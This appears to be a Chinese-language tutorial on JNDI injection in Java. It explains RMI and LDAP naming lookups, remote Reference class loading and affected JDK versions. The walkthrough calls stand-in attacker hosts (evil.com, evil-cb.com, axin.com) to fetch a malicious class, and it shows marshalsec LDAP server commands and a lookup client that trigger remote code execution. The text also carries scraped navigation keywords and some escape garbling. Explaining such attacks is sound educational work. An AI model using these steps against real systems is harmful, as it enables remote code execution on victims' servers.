建设银行官方网站购房贷款利率,超级装家装官网,广州市网站建设,中小学生作文网什么是JNDIJNDI是Java的一种API#xff0c;为我们提供了查找和访问各种命名和目录服务的通用统一的接口。通过JNDI统一接口我们可以来访问各种不同类型的服务#xff0c;例如远程方法调用#xff08;RMI#xff09;#xff0c;通用对象请求代理体系结构#xff08;CORBA为我们提供了查找和访问各种命名和目录服务的通用统一的接口。通过JNDI统一接口我们可以来访问各种不同类型的服务例如远程方法调用RMI通用对象请求代理体系结构CORBA轻型目录访问协议LDAP或域名服务DNS相当于一个中间件用户无需了解底层应用的具体应用要求可以直接通过JNDI访问。命名服务命名服务是一种简单的键值对绑定可以通过键名检索值RMI就是典型的命名服务通俗易懂根据名字查找对象每个人都有自己的名字吧~目录服务目录服务是命名服务的拓展。它与命名服务的区别在于它可以通过对象属性来检索对象比如我们在学校里找一个人可以通过xx学院——xx专业——xx班级——xx学号来找到他而这些标签就是该对象的属性值这种层级关系就很像目录关系所以这种存储对象的方式就叫目录服务。RMIRMI是一种分布式对象应用RMI技术可以使客户端远程调用服务端的对象使客户端和服务端之间可以通信并相互传递信息。说着说着总觉得跟python的socket好像...JNDI动态协议转换Context.PROVIDER_URL这个属性指定了到哪里加载本地没有的类当Context.PROVIDER_URL被配置过后ctk.lookup(rmi://localhost:1099/hello)这一处代码改为 ctk.lookup(hello)也是可行的但是如果开启了动态协议转换Context.PROVIDER_URL就失效了当我们调用lookup()方法时如果lookup方法的参数像是一个URL地址那么客户端就会去lookup()方法参数指定的URL中加载远程对象而不是去Context.PROVIDERURL设置的地址去加载对象所以当lookup的参数可控时......JNDI Naming Reference但是攻击者仅调用lookup()方法参数指定的URL中加载远程对象也是无法实现攻击的。因为受害者本地没有攻击者提供的类的class文件所以是调用不了方法的。于是乎就有了Reference类。Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类则在客户端获取到远程对象存根实例时可以从其他服务器上加载 class 文件来进行实例化。在创建Reference类时有三个比较关键的属性className远程加载时所使用的类名classFactory加载的class中需要实例化类的名称classFactoryLocation远程加载类的地址提供classes数据的地址可以是file/ftp/http等协议要把一个对象绑定到rmi注册表中这个对象需要继承UnicastRemoteObject但是Reference没有继承它所以我们还需要封装一下它用 ReferenceWrapper 包裹一下Reference实例对象这样就可以将其绑定到rmi注册表并被远程访问到了// 第一个参数是远程加载时所使用的类名 第二个参数是要加载的类的完整类名(这两个参数可能有点让人难以琢磨往下看你就明白了第三个参数就是远程class文件存放的地址了
Reference refObj new Reference(refClassName, insClassName, http://axin.com:6666/);
ReferenceWrapper refObjWrapper new ReferenceWrapper(refObj);
registry.bind(refObj, refObjWrapper);当有客户端通过lookup(refObj)获取远程对象时获取的是一个Reference存根Stub),由于是Reference的存根所以客户端会现在本地的classpath中去检查是否存在类refClassName如果不存在则去指定的urlhttp://axin.com:6666/refClassName.class动态加载并且调用insClassName的无参构造函数所以可以在构造函数里写恶意代码。当然除了在无参构造函数中写利用代码还可以利用java的static代码块来写恶意代码因为static代码块的代码在class文件被加载过后就会立即执行且只执行一次。JNDI注入原理在JNDI中提供了绑定和查找的方法bind将名称绑定到对象中lookup通过名字检索执行的对象JNDI的代码格式如下String jndiName ...;//指定需要查找name名称
Context context new InitialContext();//初始化默认环境
DataSource ds (DataSourse)context.lookup(jndiName);//查找该name的数据当jndiName参数可控且开启动态协议转换时就有可能为黑客的注入攻击提供了机会注入原理影响版本JDK 8u121在8u121之后com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 等属性的默认值变为false就不能再利用了将恶意的Reference类绑定在RMI注册表中其中恶意引用指向远程恶意的class文件当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类从而加载远程服务器上的恶意class文件在客户端本地执行最终实现JNDI注入攻击导致远程代码执行注入过程基于rmi攻击者创建一个恶意对象绑定恶意的Reference到RMI注册表攻击者通过可控的 URI 参数触发动态环境转换例如这里 URI 为 rmi://evil.com:1099/refObj原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换而被指向 rmi://evil.com:1099/用户去 rmi://evil.com:1099 请求绑定对象 refObj攻击者事先准备好的 RMI 服务会返回与refObj相绑定的ReferenceWrapper对象Reference(“EvilObject”, “EvilObject”, “http://evil-cb.com/”)应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜索 EvilObject 类如果不存在则会从 http://evil-cb.com/ 上去尝试获取 EvilObject.class即动态的去获取 http://evil-cb.com/EvilObject.class攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class应用开始调用 EvilObject 类的构造函数因攻击者事先定义在构造函数被包含在里面的恶意代码被执行注入过程基于ldap除了RMI服务之外JNDI还可以对接LDAP服务且LDAP也能返回JNDI Reference对象利用过程与上面RMI Reference基本一致只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。影响版本JDK 8u191 且版本不为7u201、6u211、6u141、7u131、8u121这些版本的com.sun.jndi.ldap.object.trustURLCodebase属性默认值为false使用marshalsec构建ldap服务,服务端监听java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Exec 1099http://127.0.0.1:7777/为本地服务Exec是恶意文件1099是开启的ldap服务端口(默认为1389)开启本地服务python -m http.server 7777直接发起请求即可
import javax.naming.InitialContext;public class JNDILDAPClient {public static void main(String[] args) throws Exception {InitialContext initialContext new InitialContext();initialContext.lookup(ldap://127.0.0.1:1099/Exec);}
}总结好复杂好复杂JNDI的调用下图可能更清晰一点主要就是Client、Server、RMI注册表这三部分如何利用可以参考下面的漏洞复现的文章Apache Log4j 远程代码执行漏洞Fastjson 1.2.24反序列化漏洞